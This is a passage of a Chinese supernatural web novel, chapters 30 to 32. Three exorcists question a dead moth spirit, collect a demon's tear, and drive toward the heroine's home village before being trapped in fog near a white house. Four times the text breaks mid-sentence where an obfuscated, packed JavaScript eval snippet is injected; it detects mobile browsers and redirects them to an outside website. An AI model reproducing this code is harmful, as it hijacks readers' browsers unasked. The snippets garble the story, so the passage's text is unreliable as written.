“这里什么都没有,万一感染了怎么办?” 秦宁将面具收起,安慰他说:“面具能够看到魂魄,我看不见她的,说明她不会死。” “我们出去吧。” 现在确实应该出去了。 林眠醒过来的时候,是在山镇里的卫生所处。她看着头顶老旧的天花板,侧过头,看见瞿木在旁打盹。 事情结束了吗?林眠的记忆只停留在她讲瞿木拉过的那一刻,以及疼痛。 她动了一下身体,才发现瞿木握着自己的手。 “你醒了。”瞿木感觉到手在动,一睁眼,就看到林眠醒来了。 “你终于醒了,你都睡了两天了。要不是山路崎岖,再加上这里的医生说没什么大碍,不然我都要把你带到大医院去。” 林眠听着瞿木的话,笑了一下。 瞿木被这个笑给怔住了。因为,林眠实际上很少笑,从认识到现在,她笑的次数屈指可数,明明是个大大咧咧、带着点天然呆的性格,却不怎么笑。 “有…什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612348|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好笑的。”瞿木低着头,给林眠整理床被。 “你那会儿就不应该挡在我前面,我受点伤又没事。”瞿木嘟囔着说,他体内也有菌丝,受伤能快速恢复。 林眠没出声,当时…她也不太明白自己怎么冲上去了。 “醒了?”秦宁在门外的时候,就听到了瞿木的声音,也就知道林眠醒了。 “嗯。”林眠点头,感觉身体还行,虽然伤口处还有点疼。她想到那天晚上的事,问:“阿轻怎么样了?” “死了。”瞿木直接说。 林眠看向瞿木,“怎么会死了?” 瞿木看了眼秦宁,说:“你晕过去后,菌丝把她杀了。” “不要紧,阿轻的魂还在这里。”秦宁拿出面具,点了一下最后的那个点,阿轻的魂便出现了。 “把手放上来。”秦宁说道。 林眠和瞿木都把手放上去,就能看到飘忽在屋内的阿轻。 “你现在见到了,该把事情的来龙去脉都说了吧?”秦宁对着阿轻说。 林眠看着阿轻,有些恍惚,阿轻真的死了,只留下她的魂还在这里。 阿轻飘到林眠面前,用脸贴着她,说:“最后还是你杀死了我。” 林眠知道她口中的“你”并非指自己,她贴的也不是自己。只是…… “你这么喜欢菌丝,为什么?”林眠不解,明明是菌丝杀了她,她一点怨言都没有。 “因为没有祂,这些年,我也不会这么快乐。” “你的快乐就是指杀了上百个人?”秦宁眼神犀利,“快乐”这两个字让他觉得是对那些生命的侮辱。 阿轻看向秦宁,笑道:“他们的死不会给我带来痛苦,他们的魂魄变成美丽的蝴蝶,供我差遣,这是属于我的快乐。” “况且,我和面蝶做了一样的事,都让他们的鬼魂获得了新生,这在你们除妖师的眼里,不算是一种积德吗?” 秦宁目光一沉,“强词夺理,你是杀害了那一些人,将他们作为食物…” 他强忍着恶心说,只要见过茧里面的东西,胃部就忍不住翻涌。 “好了,阿轻,说说你的故事吧。”林眠打断秦宁的话,想让阿轻把所有的事都说出来。 阿轻也没有拒绝,反正她都死了,只是魂还被拘在这面具里。她也认命地说:“以前这里有一只蝶王,是万蝶之首,也就是你们口中的面蝶。” “面蝶供奉着方相面具,每年都会举行破茧之宴和蝴蝶葬礼,破茧是为死去的鬼魂而举行,而蝴蝶葬礼是祭祀阡陌将军。” 说到这里,阿轻突然问:“你们知道面蝶的由来吗?” 林眠和瞿木都摇了摇头。 秦宁说:“据记载,深山之中生活着一种体型巨大的蝴蝶,花纹如面具,会给在深山中迷路的人指引回家的道理,是一种善良的好妖物。” “你说对了一半。”阿轻说,“面蝶被称为面蝶,不仅仅是因为其身上的花纹,更多是因为方相面具。” “传说,阡陌将军死后,他身上的方相面具跌落山崖中,有一只蝴蝶恰巧落在面具上,从而得到了力量,才变成了所谓的妖物。 “蝴蝶为了感谢阡陌将军,故而每年举行蝴蝶葬礼,为阡陌将军祈祷,也同时为面具积攒力量。” 瞿木听着,怎么一到青州市,哪里都是阡陌将军? “你真的见过阡陌将军?”林眠也觉得这个阡陌将军有点奇怪,所谓的神明,大多都是古时候赫赫有名的人物,死后被供奉,怎么可能被看见? 30. 妖物的眼泪 “世上都有妖物了,那有人不死不是很正常吗?”阿轻反问他们,“我们妖物的寿命很漫长,活过几千年也不是不可能。” 阿轻说着,笑了一下,说:“扯远了,还是说回我吧。” “三十年前,我还是一只小小的鬼蛾,能力也不强,长得也不好看。而这深山是面蝶的地盘,它们总是一起起舞,我很向往它们。” “比起蛾,蝴蝶更为好看不是吗?拥有漂亮的翅膀,飞舞的样子,都是那么的好看。”阿轻说着,露出了向往的神情,随后变了脸色。 “在一天夜里,我遇到了你,”她指着林眠,又摇摇头,“不,不是你,是另一具身躯,但当时,菌丝在那具身躯里。” 林眠垂下眼,看着自己身上的病号服,三十年前,她还没出生。 “不过,那个人和你很像。”阿轻接着说,所以最开始看到林眠的时候,她就觉得是菌丝回来了。 “之后呢?”瞿木看了眼林眠,他觉得林眠有点不太开心,就想转移话题。 阿轻在屋内飘了飘,对着瞿木挑眉说:“我为什么要告诉你?” “你是不是不喜欢我啊?”瞿木哈了一口气,从头到尾,这个大扑棱蛾子就对自己态度很差。 “你这种被妖物寄生了的人,本来就是要低一等。”阿轻说的理直气壮,“没了主人,你就会死。” 说到“死”这个字,瞿木突然想起自己的两个月期限的事,看样子这个大扑棱蛾子知道些什么。 “那被菌丝寄生了,为什么两个月后会死?”瞿木问她。 阿轻愣了一下,思考了会,说:“被寄生了看的是宿主,宿主没死,按道理你也不应该会死。” “不过菌丝的事,我也不太了解,我只知道这些。” 这点她是实话实说。 林眠下意识看向瞿木,瞿木的生命绑在了自己的身上。 瞿木不知道该说些什么,他自然知道自己离不来林眠,一离开,那就整宿整宿的噩梦,能活生生把他给困死。 现在问题是,那封信说自己只有两个月的生命。 秦宁见话题又被打岔了,接着问阿轻,“之后发生了什么?” “之后啊,菌丝和阡陌将军来了,阡陌将军说要把方相面具给我,可是面蝶不同意,菌丝就把面蝶杀了,然后把方相面具给了我。”阿轻说的很是轻巧,就像是在说调皮话一样。 “为什么要送给你?”秦宁皱了下眉,面蝶拿着面具已经过了那么久,为什么阡陌将军要把面具给鬼蛾。 “因为我是最合适的,面蝶只会拿着面具,收集死人亡魂,再让他们获得新生,可那样没有意义。”阿轻说完,耸耸肩,对秦宁说:“我也没什么好说的了,把我变成蝴蝶吧。” 秦宁自然不愿意,“你没将话说完整,变成蝴蝶未免也太便宜你了。” 阿轻看了眼秦宁,一声不吭地钻进面具里。 “叩叩。” 门外响了敲门声,护士端着针水走进来,还有些惶恐地看了眼周围,发现什么都没有,才给林眠换了新的吊瓶,并把药放下,叮嘱了一番就出去了。 “真奇怪,里面明明没有小女孩,我怎么听到了小女孩的说话声。”护士出去后嘟囔着说。 “瞿木,你拿到妖物的眼泪了吗?”林眠问瞿木,刚刚听完阿轻说的,她总觉得乱糟糟的。 “还没。”瞿木摇头。 秦宁在旁边补了一句:“他天天在这看着你,哪有空去找阿细。” 林眠歪着头,看着瞿木,说:“我没事,你怎么不早点去?” “哎,反正是两个月的期限,时间多得很。”瞿木挠了挠头,将头撇向窗外。 秦宁将面具收起来,说:“也不着急这一时了,明天再去吧。” 现在已经是傍晚了。村子里老人居多,一到晚上,街上就安安静静的。 第二天一大早,瞿木和秦宁准备去大宅子找阿细的时候,林眠也跟着出来了。 “你怎么来了?你身上还有伤。”瞿木连忙上去扶住林眠,见她连衣服都换好了。 “我也想去看看,我能走。”林眠说着还走了两步,她感觉自己恢复的很快,况且她也不是腿受伤了。 瞿木看着林眠这脸色苍白的模样,直接半蹲在林眠面前,说:“我背你,不要到时候走两步,伤口出血了。” 林眠看着瞿木的背,犹豫了一秒,就爬上去了。 瞿木起身,背着林眠往前走。 跟在他们后面秦宁,双手抱臂,看着瞿木的背影,倒是觉得有些新奇,瞿家大少爷竟然愿意屈膝背人。 到了大宅子处,阿细所待的房间门口,瞿木才把林眠放到一旁的石栏上,让她坐着。 这回秦宁没让瞿木进去,而是自己推开门,走进去。 “你在玩什么?”瞿木见林眠坐在石栏旁,拿着手机在玩。恰好秦宁进屋子了,他就过去和林眠搭话。 凑近一看,果然看到林眠又在编辑朋友圈。 瞿木发现,林眠是真的很爱发朋友圈,屁大点事都要发一条,一天高低能发个五六条。也就在深山里那两天,没有网络了才没发。 “等下。”瞿木看着看着,发现林眠编辑的朋友圈里,怎么还有自己睡着了的照片? “这张照片你什么时候拍的?” “你睡着的时候啊,我顺手拍了一张。”林眠看向瞿木,手指滑动屏幕,直接点了发表。 瞿木看着林眠无辜的眼神,连忙拿出手机点开朋友圈,第一条就是林眠发的。他快速地翻看照片。 老实说,把自己拍的挺帅的。 虽然是自己本来就帅,360度没死角。 林眠仰起头看着瞿木,见他的表情从紧张到眉头舒展开来,再到嘴角噙笑。 “拍的还挺帅的,原谅你了。”瞿木点了个赞,将手机收起来,还不忘说:“记得到时候把评论给我看看。” 林眠歪着头,思考了一会,才恍然大悟,对瞿木说:“你这是自恋了吗?” 瞿木刚刚走到门口,听到林眠的话,身形一顿,没吭声。他刚刚只是发现,这九张照片里,一张秦宁的都没有,而自己有两张! “啪嗒”一声,门打开了。 秦宁出来,阿细站在他的肩膀上。 “小妖物,你把我们害得很惨啊。”瞿木凑上前,用手指戳了戳阿细。 阿细也知道他们发生了很多事情,心里多多少少也有些愧疚。她也没想到,曾经的好友面蝶,竟然已经不在了。 “对不起,等会儿我会努力哭的。”阿细说。 瞿木撇撇嘴,这话怎么怪怪的? “你们回来的正是时候,我的朋友它不行了。”阿细飞到一旁的树枝上。 秦宁跟过去,才发现树干上有一只残缺的蝴蝶。他拿出面具,就看到了蝴蝶的魂,小小一只,还未离开身躯。 他将面具交给阿细,让她和这只蝴蝶进行交流。 阿细没有说话,只是轻轻抚摸了蝴蝶的触角。而后就回到秦宁身旁,说:“蝶翅要怎么使用?” “据说它能给人第二次生命,我从来没有见过。” 秦宁接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624275|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝶翅面具,操作演示给阿细看。 树上出现一个约如拇指大小的白茧,而后化茧成蝶,从里面飞出了两只蝴蝶。两只蝴蝶绕着阿细飞了一圈,之后离开,飞向深山之处。 “它们在和我告别。”阿细轻声说。 林眠在破茧的时候,也站起来了,看着一只死去的蝴蝶获得了新的生命,也许它的魂魄比一只蝴蝶要重得多。 秦宁抬头看向远处的群山,这样的第二次新生,也挺好。 “眼泪!”瞿木出声,他看到阿细的眯眯眼里流出了一滴眼泪。他早就准备好了罐子,凑到阿细的面前,将这滴眼泪收集到。 看着这滴眼泪成功进入罐子里,瞿木悬着的心就放下了,刚刚他见阿细没什么表情,害怕阿细不流眼泪。 阿细仰起头看瞿木。 林眠从口袋里拿出纸巾,给阿细擦了擦,说:“谢谢。” “不用。”阿细叹道,“我在这里太无聊了,这只蝴蝶每天都会在院子里转悠,不知不觉中,我就把它当成了我的朋友。” “它肯定也把你当成朋友了,刚刚不是在和你告别吗?”林眠说。 阿细看着林眠,抿着唇没出声。 收集到眼泪,大家和阿细告别后,就准备出山了。 回去的路上,瞿木照旧背着林眠,还和她说:“你刚刚竟然在安慰阿细。” “怎么了?”林眠不解,阿细看着挺难过的。 瞿木没出声,他有时候觉得林眠是个很冷漠的人,不太会在意别人的感受和心情,所以见她关心阿细,觉得有些……说不上来的感觉。 “你变得有人情味了。”瞿木说这话的时候,语气是带着逗她的腔调。 林眠不满地说:“我本来就是人,而且我还舍身救你了呢。” “是是是,你最好了。”瞿木回道。 秦宁则边走边研究真空罐里面的眼泪,这妖物的眼泪是凝聚在一起,不会散开,在罐子了晃动,也是一整颗,如黄豆般大小。 现在还不到中午,他们找了个小餐馆,吃了饭,就开车往青州市里面走。 瞿木回到自己上次定的总统套房处,整个人都活过来了。他先是去洗了个澡,浑身上下都搓了一遍,在浴室里待了快两个小时才出来。 林眠受了伤,没办法洗澡,就坐在沙发上玩手机。 等到瞿木出来,他看了看,问:“秦宁去哪了?” “他说他出去逛逛。”林眠回答,她也想出去逛逛,但是身体还没恢复好,不能随意走动。 “好吧。”瞿木坐到林眠身旁。 林眠看了眼瞿木,问他:“有事么?” “没有。”瞿木摇摇头,有些开心地说:“等况衍君来了,把银木邪性和妖物眼泪都拿出来,我就不用死了。” “之后我们就可以回北城了,我带你出去玩。” 瞿木说完,又问:“你想去哪里玩?” “海边。”林眠毫不犹豫地说,“我以前都在山里,还没去过海边。” “好。”瞿木答应的也很爽快,“我给况衍君发了信息,他怎么还没回我。” 林眠看着自己的朋友圈,说:“他刚刚还给我点赞了。” 瞿木一看,一分钟前。他抽了抽嘴角,不回信息,有空点赞? “我帮你问问。”林眠点开聊天页面,给况衍君发了条消息过去。 况衍君回的很快。 【况衍君:我去了另一个地方,可能要麻烦你们跑一趟了。】 接着,他发来了一个定位。 盖山村。 31. 盖山行 瞿木感觉自己五雷轰顶,耳朵打鸣,他现在只有一个想法,况衍君绝对是故意的,逮到他的时候,一定要狠狠地揍他一顿! “他去我老家干嘛?”林眠看着这个地址,这不就是自己家吗?这个位置是村委会。 瞿木也突然反应过来,看着“盖山村”三个大字,脸上闪过一丝疑惑:“对啊,他去你老家干嘛?” 林眠毫不犹豫地发信息问况衍君了。 但迟迟没有收到回信。 瞿木气的捂住了肚子,阴沉着一张脸,拿着手机点了一顿大餐,就瘫在沙发上了。 “你肚子疼?吃错东西了?”林眠见瞿木一副吃错了东西的模样,还捂住肚子,可是今天就在山镇里面吃了一顿饭。 “被况衍君气的。”瞿木幽幽地说。 秦宁回来的时候,刚好和外卖员撞上了,就顺手把瞿木点的外卖拿进来。 “怎么死气沉沉的?”秦宁一进来,就见瞿木苦着一张脸,林眠在旁边玩着手机,一点动静都没有。 “你们的外卖。” 瞿木这才从沙发上爬起来,开始拆外卖。 有吃的,林眠也放下手机,凑上去看看,“是什么?” “况衍君还没来吗?”秦宁看了看,这个点,况衍君应该在这里才对,之后验证一下那封信的真伪。 “别提他。”瞿木听到这个名字就胸口痛。 秦宁看向林眠,林眠刚刚拿了一个鸡腿,见秦宁看向自己,便说:“他离开青州市了。” “去哪了?”秦宁问。 “盖山村。”瞿木听着都觉得没胃口了,“他让我们去盖山村找他。” 秦宁一听这个地名,说:“林眠的老家?” “对,你说他去那里做什么?”瞿木是真的想不通。 “不太对劲,他去那里应该是有什么目的。”秦宁想了想盖山村,当初因为瞿木的事,他也调查过盖山村,没查出什么来。 “我就说这个况衍君有问题。”瞿木愤愤地说,并把视线看向一旁的林眠。 林眠已经拿了一盒饭,把所有的菜都打开盖子,自顾自地吃了起来。她见瞿木看向自己,指了指菜说:“再不吃就凉了。” 瞿木感觉自己就是一拳打在了棉花上,他也拿起筷子,说:“吃吧吃吧,饿着谁也不能饿着你这个祖宗。” 说完又看了眼秦宁,“你也吃吧,我点了你的。” “我吃饱了,你们吃。”秦宁说着,就坐在不远处,拿出了手机。 瞿木也懒得去劝了,还是吃饭要紧。 吃过晚饭后,三个人聚在一起,围着圆桌坐下。 林眠看着他们两个,想了想,说:“要不就去一趟我家?” “去是肯定要去。”秦宁说。 “但我们要知道,况衍君为什么要去盖山村。”瞿木拧着眉头,语气深沉,“万一况衍君被银木邪性控制了,引诱我们去怎么办?” “如果想要杀我们,为什么要在盖山村动手?”秦宁问。 瞿木沉默,随手双手抱头,烦躁地说:“我怎么知道啊?!” 秦宁扭头看向一旁的林眠,说:“但肯定和林眠有关系。” “我?”林眠眼珠子转了转,摇摇头,“我不知道。” 秦宁在桌上铺了一张白纸,拿出钢笔,在纸上开始写下“鬼蛾”两个字,又写下“30”这个数字。 “我们去找阿细的时候,去深山里遇到了鬼蛾,她说她是三十年前遇到了菌丝和阡陌将军。 “假设她说的都是真话。” 林眠举手,“我觉得阿轻说的都是真的。” “我倒是觉得她是在忽悠我们。”瞿木不是很信任鬼蛾阿轻,指不定死了都憋着什么坏招。 秦宁看着他们,再说一次:“假设是真的。” “我们可以得到两个信息,一是在林眠出生之前,菌丝寄生的身体另有其人,但也就是三十年前,按道理这个人应该活着。 “我们不知道菌丝是什么情况下才会发生易主,且按照林眠说的,在她有记忆以来,菌丝就在她的体内了,那可以推算到林眠的五、六岁的时候。” 林眠听着,觉得很有道理,但是她要说一件事,便又举起了手。 “说。”秦宁点头许可。 “我三岁的时候就记事了。”林眠很肯定地说,她还记得自己三岁时候的事。 秦宁点点头,在纸上把“五”改成了“三。” 瞿木拿了一瓶水,看着他们说:“你们真的觉得三岁能记事?我现在只能想起我7、8岁左右的事。” “林眠并非常人,不能一概而论。”秦宁说道,随后接着说:“二是阡陌将军,这一点阿轻没有多说,但如果她真的见到了,什么样的人能够活这么久?” “这一点,有些奇怪。” 瞿木喝了一口水,看着纸上的“阡陌将军”几个字,说:“这个阡陌将军应该是妖物吧,人肯定活不了那么久,难道成神了?” “有可能是妖物。”秦宁也不确定,而阿轻什么都不肯说。 “那为什么要去盖山村?”林眠不解,“盖山村很小,住在那里的人也不多,很多人都搬到镇上和县城去了。” “应该问,为什么菌丝选择到了盖山村。”秦宁眼神凌厉,“每个妖物都有自己诞生的地方,菌丝实力不俗,可从未被人记载过。” “我怀疑,盖山村就是菌丝的诞生之地。” 林眠觉得这个推测也挺有道理的,可是……还不等她开口,瞿木就先说了: “你说的很有道理,问题是,这跟我现在的情况有什么关系?拜托,还有一个多月,我可能就要死了!” 秦宁没抬眼看瞿木,在白纸上写下“盖山村”和“菌丝”后,才抬头说:“问题是,况衍君让我们去盖山村。” “他不是无缘无故去盖山村,让我们去,肯定也不是无缘无故。” 瞿木感觉自己一个头两个大。这说明,况衍君真有问题啊。 “我觉得,盖山村可以去。”秦宁下了结论,“也不得不去。” 瞿木趴在桌上,生无可恋。 林眠倒是无所谓,盖山村就是自己家,她也有点想回去了。 讨论完,秦宁就起身说:“既然决定了,明天就出发,我先去洗漱睡觉了。” 就这么说定了。 林眠洗完澡,躺在床上,看着和况衍君的聊天页面,想了想,还是发了条消息过去。 【林眠:我们明天出发去盖山村,你在那儿等我们吗?】 【况衍君:嗯,实在是不好意思,突然发生了一些事。】 林眠看着,或许是真的发生了什么事吧。只是,盖山村会发生什么事情呢?她也想不了多少,一躺在柔软的床上,她就犯困了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644085|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞿木虽然也困,但他躺在床上,一点睡意都没有。他翻来覆去,碾转反侧,敲打枕头,对月悲伤。 怎么想,都是那封信的错!为什么说自己会死?他从出生到现在,行善积德,好人好事也做了不少,怎么这种事就轮到他了? 第二天一大早,瞿木顶着两个黑眼圈,先去敲秦宁的房门,再去敲林眠的。 林眠打开门,舒服的伸了个懒腰,见瞿木脸色暗黄,眼神无光,在他面前晃了晃手,问:“你怎么了?没睡好吗?” 瞿木看着林眠,嘴角抽了抽,现在这个情况,自己还睡得着吗? 他扯起嘴角,挤出一个笑,说:“你睡的真香。” “嗯嗯,这里的床很舒服。”林眠真心实意地说,还露出惋惜的表情,“到了盖山村,就没有这样的床睡了。” 瞿木看着她,叹了一口气,林眠就是这样的没心没肺,他也不能期待什么就是了,摆了摆手说: “快去洗漱吧,等会吃个早餐我们就出发。” “好。”林眠点点头,扭头去洗漱了。 秦宁是从外面回来的,见瞿木醒了,打了声招呼,就回房去了。没过多久,换了一身衣服出来。 林眠也收拾好了。 大家一起去市里吃了个面,就出发去盖山村。 秦宁负责开车,林眠坐在后座打盹,瞿木面无表情地看着窗外。 盖山村离青州市说远不远,说近不近,大约有不到一千公里的距离,开得快,十个小时就能开到了。 秦宁看了眼后视镜,这次去盖山村,他也有自己的私心。菌丝的实力不俗,且三十年前还在外面游荡,可自己却从未听过。 此次去盖山村,也是想挖掘菌丝的来历。但况衍君为什么要去盖山村?他和盖山村又有什么联系?银木邪性为什么会在他的身上? 以及……秦宁又看了眼后视镜,林眠和菌丝之间的联系,是单纯的寄主吗? 这一连串的问题,一个接一个,秦宁感觉自己都快乱成一团麻了。 瞿木将头倚靠在窗户上,突然肩膀一沉,侧头看去,是林眠的头睡在了自己的肩膀上。他不免觉得有些好笑,睡的这么香? 他刚刚也想明白了,反正还有一个多月,即使去了盖山村,也是绰绰有余。不管怎么样,他把银木邪性找回来就行了。 想到这里,瞿木握紧了自己胸口处的玉佩,银木的温热感传到自己的掌心处。 车子驾驶到服务区的时候,瞿木一反早上的忧郁状态,拉着林眠在服务区大采购,买了一堆吃的。 “你不是说盖山村里都没有小卖部吗?买多点。”瞿木一边拿一边说。 林眠看着自己左手一大袋,右手一大袋,前面还有正在疯狂采购的瞿木,直到回到车里,她都还有一些懵逼。 秦宁寄好安全带,就启动车子往前开。 “我们距离盖山村还有不到几百公里了。”秦宁看着导航说,“不过盖山村是在山里,我们今晚恐怕要在埠山镇住一晚。” “山里。”瞿木听到这两个字,就浑身激灵,他感觉在山里就没好事,但一想到这是林眠的家乡,也不好说什么。 “我上学就到埠山镇上的。”林眠听到熟悉的地名,开口说。 瞿木看了眼林眠,等事情解决了,让林眠拿起书本重新学习吧,一个女孩子,只有初中文凭,不太好。 32. 白房子(一) 埠山镇也是一个建在山里面的镇子,想要进去也要开一段山路才行。 林眠看着前面蜿蜒的山路,时隔两个多月再次回来,还真有点不一样的感觉。 瞿木看到山路,心里就发毛,但又想到这是林眠老家,而且林眠也说过了,村子里没发生过灵异事件,那应该就没事吧? “起雾了?”秦宁突然说。 瞿木抬头看去,发现前面一片白,就像是一团团的云朵,汇聚在一起,最终将这条柏油道路给包裹住了。 “怎么突然变阴天了?要下雨了?”瞿木看着面前的这一景象,云雾缠绕的,他记得刚进山的时候,还是大太阳。 “那这雾也不能起这么快啊。”瞿木有些紧张地看着车外,他又有不好的预感了。 林眠打开窗户,伸出手,看着白雾从自己的掌心穿过,她回过头对瞿木说:“盖山村每天都会有这种白雾,虽然很潮湿,雨也比较多,但是很舒适。” “舒适?”瞿木有点不信,他看向车内的温度计,上面也会显示湿度。一看,已经90%的湿度了。 “你确定90%的湿度,人会很舒适?” 林眠的脸上闪过一丝犹豫,小声说:“我在盖山村很舒适。” 瞿木突然想到,这个高湿度,菌丝应该会很舒适? “你们两个别吵了。”秦宁突然将车子停了下来。 “怎么了?”瞿木半起身,凑到前面,看了看,都是白雾,什么也看不清。 秦宁看着前方,认真说:“我们一直在原地打转。” 瞿木一听,用力地拍了一下座椅,“我就知道,我们三自从离开北城,遇到的都不是什么好事!” “怎么会?”林眠不太相信,“我上次去北城,坐的大巴到县里坐火车,都好好的,这里也只有一条路。” 山里的村民想要去县城,都得坐大巴车出去,近些年经济条件好了,镇上经常能看到轿车,都从没有发生过这样的事。 “你还不明白吗?别人可能就没事,但我们三个,就一定有事。”瞿木在旁边搭腔说,还掰着手指算:“云泉酒店,我们就住个店而已。” “深山里的鬼蛾,我们……” “好吧,这个确实是我们主动找上门的。”瞿木晃了下头,“现在该怎么办?” 秦宁压根没听瞿木的话,扭头问林眠:“你确定镇上到山脚下,只有一条路?” “确定,到了镇山,其他的就都是小路了,我们都是走上去的。”林眠虽然很少下山,但她记忆力极好,很确定只有一条路,顺着开就能到。 “刚刚我看到了两条路,我照着导航走的那一条,结果几次都回到了原位。”秦宁解释说,“试着走另一条?” “要不,我们回去等大巴?”林眠建议道。 瞿木眼前一亮,他轻拍了一下林眠,“好主意啊。” “坐大巴,人也多,我们总不能还这么倒霉吧?” 林眠看了眼时间,语气惋惜:“最晚的一班大巴已经没了,只能等明天早上了。” “那……”瞿木语塞,在山脚下的时候,只看到农家乐,住宿的旅店还真没看到几家,“我们回去?” “要看我们出不出的去了。”秦宁眉头一皱,这白雾来的蹊跷,又和林眠说的对不上,怕是没那么容易就出去了。 他启动车子,掉头往回走。 大概过了十分钟,又回到了原地。 “不是吧?还真不给走啊?”瞿木看着面前熟悉的场景,无语道。 林眠也是第一次遇到这种情况,也不知道该说些什么了,只好闭上嘴。 “看来,我们只能走那条路了。”秦宁说。 “走吧走吧,是妖是鬼,总得见一见才知道。”瞿木倚靠在后座上,仰着头,他放弃抵抗了。 林眠还趴在车框上,看着外面的白雾,湿润的空气拍上脸上,让她感觉到舒适,以及发自内心的喜悦。 车子沿着这条岔路往前开,开着开着,就看到一栋白色的房子,建在山路旁边的空地处,烟雾缠绕,颇有种仙境般的感觉。 秦宁将车停下来,和后面的林眠和瞿木对视一眼,心里都有点数了。 能把房子建在这荒山野岭的地方,本身就很不对劲,而且他们是走岔路进来的,这栋房子肯定有猫腻。 “没有信号了。”林眠晃了晃手机,上面直接无服务了。 “去会一会。”秦宁打开车门,下车,干净利落。 林眠和瞿木也下了车。 “不得不说,空气还挺好的。”瞿木吸了吸气,清新,加上周围都是绿色的树木,配合着白雾,任谁看了都得感叹一番。 林眠跟着秦宁走到白屋子面前,看着面前的这扇木质门,上面还挂了个牌子,牌子上画了一个S型的东西,是一个奇怪的符号。 “叩叩”。 秦宁敲了一下门,没人应答,又敲了一下,还是没有。在门口等了大概十分钟后,他直接握住门把手。 “真的要私闯民宅吗?”瞿木在旁边问,“如果是陷阱怎么办?” 他觉得还是在车上守株待兔比较好,说不定这房子的主人出门去了。 秦宁没听瞿木的建议,直接打开了门。 室内也是白色调,桌子、椅子、沙发、墙壁,统统都是白色,一眼看去,都找不出第二种颜色。 “真奇怪。”林眠主动走上前,摸了一下玄关处的柜子,说:“这里都没有灰,说明有人在这住。” “是不是人还不一定呢。”瞿木看着这屋内的装饰,哪有人会全用白色的物品来装修?是想去天堂吗? 林眠也不反驳,毕竟把房子建在这里,真的很奇怪。 “我看,顶多就是一只爱干净的妖物罢了。”瞿木见林眠这么大胆,也走进屋内,摸了一下屋内的死角地方,确实一点灰尘都没有。 三人在屋内检查了一下,没发现什么,就去二楼处也看了看。 二楼有三个房间,房间里一应俱全,该有的都有。只是不管是人、还是妖物,都没看到一点踪迹。 “真晦气,谁会住在一片白的房间里啊?”瞿木吐槽说,“再加点黑色,那就跟灵堂差不多了。” 秦宁还在旁边细细检查。 林眠听瞿木细细叨叨的吐槽,她倒是觉得这个房子挺有趣的。 三人又在屋子里转了一圈,什么也没发现,最后回到了车上。 “我们再往前开开。”秦宁说。 “行。”瞿木和林眠都点头认同。 只是,开了一圈,他们又绕回了原地。重复了几次,每次都稳稳地停在了这栋白色房子面前。 …… “哥,这里有栋房子。”一个男人连忙摇下车窗,对着驾驶座的中年男人说。 他们从岔路口开进来,越开越奇怪,直到看到这一栋白房子,不免停下车来,看上几眼,还说:“我们来过埠山镇这么多次,什么时候这里修多了一条路啊?” 驾驶座上的中年男人戴了一顶帽子,抬起头看了眼车窗外。 “哥,哥,有人。”副驾驶座的男人都激动了,他们现在已经偏离了导航,正需要找人问路。 中年男人见状,将车子开到白房子前,副驾驶座上的男人探出脑袋,问:“诶,我想问一下,去埠山镇怎么走啊?” 问完,他看着这三个人,一女两男,看穿着打扮也不像是村里人,而且他们三个人,两个坐在门口的台阶上,一个在旁边站着… 怎么看怎么奇怪。 “哥,有点不对劲啊。”男人下意识将脑袋缩回来,再将车窗摇上,扭过头对中年男人说。 中年男人也觉得不对劲,看了一眼房子门前的三个人,油门一踩,就往前开了。 林眠看着车子远去,不解地说:“他们好像很害怕?” “我们等了一个多小时了,终于等到一辆车,就这么让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656448|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们走了?”瞿木叹了口气。 秦宁倒是不紧不慢地说:“反正等会他们也会回来不是?” 果然,过不了十分钟,这辆车子又回来了。 开车的人摇下车窗,又看到林眠他们三个人,连忙又把车窗关上,往前开。来来回回,几次后,他们才意识到,好像出不去了。 “这什么鬼地方啊?”中年男人双手紧紧握着方向盘,看着前面的那栋白房子,还是那三个人,脸上闪过一丝阴狠,对副驾驶座的男人说: “天已经黑了,我们下车。” 